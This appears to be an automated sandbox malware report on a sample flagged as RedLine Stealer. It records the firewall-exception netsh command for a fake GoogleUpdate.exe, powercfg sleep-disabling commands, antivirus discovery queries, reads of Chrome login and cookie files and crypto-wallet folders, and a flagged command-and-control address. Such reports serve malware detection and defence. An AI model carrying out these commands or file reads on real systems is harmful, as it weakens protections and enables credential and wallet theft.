Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_004168EF GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004168EF

Source: C:\Users\user\Desktop\FKN6uh7y01.exe

Code function: 0_2_0041F940 RegCreateKeyA,RegSetValueA,GetUserNameA,RegCloseKey,RegOpenKeyExA,AdjustTokenPrivileges,LookupPrivilegeValueA,OpenProcessToken,RegQueryValueExA,RegDeleteKeyA,

0_2_0041F940

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0

Modifies the windows firewall

Source: C:\Windows\GoogleUpdate.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.FKN6uh7y01.exe.427788.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FKN6uh7y01.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FKN6uh7y01.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.308285723.00000000006F2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.316020105.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.319091656.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FKN6uh7y01.exe PID: 6040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 46372, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ElectrumE#
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxE#
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusE#
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: EthereumE#
Source: powershell.exe, 00000039.00000002.595407973.00007FF81A320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Source: Yara match	File source: 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 46372, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.FKN6uh7y01.exe.427788.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.FKN6uh7y01.exe.6f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.FKN6uh7y01.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.308285723.00000000006F2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.316020105.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.350861964.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.319091656.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FKN6uh7y01.exe PID: 6040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 46372, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	31 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	1 Windows Service	1 Access Token Manipulation	21 Deobfuscate/Decode Files or Information	1 Credential API Hooking	1 Account Discovery	Remote Desktop Protocol	3 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	11 Scheduled Task/Job	1 Windows Service	31 Obfuscated Files or Information	1 Input Capture	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	21 Command and Scripting Interpreter	Logon Script (Mac)	711 Process Injection	21 Software Packing	NTDS	234 System Information Discovery	Distributed Component Object Model	1 Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	11 Scheduled Task/Job	Network Logon Script	11 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	561 Security Software Discovery	SSH	2 Clipboard Data	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	1 Service Execution	Rc.common	Rc.common	1 File Deletion	Cached Domain Credentials	11 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	1 PowerShell	Startup Items	Startup Items	222 Masquerading	DCSync	251 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Modify Registry	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	251 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Access Token Manipulation	Network Sniffing	1 Remote System Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	711 Process Injection	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
FKN6uh7y01.exe	33%	ReversingLabs	Win32.Trojan.Zusy
FKN6uh7y01.exe	37%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Avira	HEUR/AGEN.1213193
C:\Users\user\AppData\Local\Temp\33C5.tmp	100%	Avira	TR/Dropper.MSIL.Gen
C:\Users\user\AppData\Local\Google\chrome.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Google\ofg.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\33C5.tmp	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\brave.exe	85%	ReversingLabs	Win64.Trojan.SpyLoader
C:\Users\user\AppData\Local\Google\chrome.exe	68%	ReversingLabs	Win32.Trojan.Lazy
C:\Users\user\AppData\Local\Google\ofg.exe	10%	ReversingLabs
C:\Users\user\AppData\Local\Temp\33C5.tmp	81%	ReversingLabs	ByteCode-MSIL.Trojan.Lazy
C:\Windows\GoogleUpdate.exe	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
56.2.dialer.exe.7ff797ce0000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
65.2.updater.exe.2b7fcf50000.1.unpack	100%	Avira	HEUR/AGEN.1251517	Download File
48.0.chrome.exe.d30000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
38.2.GoogleUpdate.exe.1150000.1.unpack	100%	Avira	HEUR/AGEN.1246751	Download File
33.2.chrome.exe.d30000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
56.0.dialer.exe.7ff797ce0000.0.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
13.2.chrome.exe.d30000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
13.0.chrome.exe.d30000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
48.2.chrome.exe.d30000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File
56.0.dialer.exe.7ff797ce0000.2.unpack	100%	Avira	TR/Dropper.MSIL.Gen	Download File
33.0.chrome.exe.d30000.0.unpack	100%	Avira	HEUR/AGEN.1213193	Download File

Domains

Source	Detection	Scanner	Link
api.peer2profit.com	0%	Virustotal	Browse
idpminic.org	0%	Virustotal	Browse
www.idpminic.org	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id19Responseon	100%	URL Reputation	phishing
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4y/	100%	URL Reputation	phishing
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id3Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
https://api.peer2profit.com/api/proxy/nodes/getPy	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getv	1%	Virustotal		Browse
https://api.peer2profit.com/d	0%	Avira URL Cloud	safe
https://api.peer2profit.com/N	0%	Avira URL Cloud	safe
https://api.peer2profit.com/r2profit.com/	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get	0%	Avira URL Cloud	safe
https://api.peer2profit.com/J	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getv	0%	Avira URL Cloud	safe
https://api.peer2profit.com/8	0%	Avira URL Cloud	safe
http://www.idpminic.org4	0%	Avira URL Cloud	safe
http://www.idpminic.org	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/getTx:	0%	Avira URL Cloud	safe
https://api.peer2profit.com/api/proxy/nodes/get=xc	0%	Avira URL Cloud	safe
https://api.peer2profit.com/%	0%	Avira URL Cloud	safe
37.220.87.2:27924	100%	Avira URL Cloud	malware
https://api.peer2profit.com/	0%	Avira URL Cloud	safe
https://api.peer2profit.com/hy	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.peer2profit.com	172.66.40.196	true	true	0%, Virustotal, Browse	unknown
idpminic.org	66.235.200.147	true	false	0%, Virustotal, Browse	unknown
www.idpminic.org	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.peer2profit.com/api/proxy/nodes/get	true	Avira URL Cloud: safe	unknown
37.220.87.2:27924	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	false		high
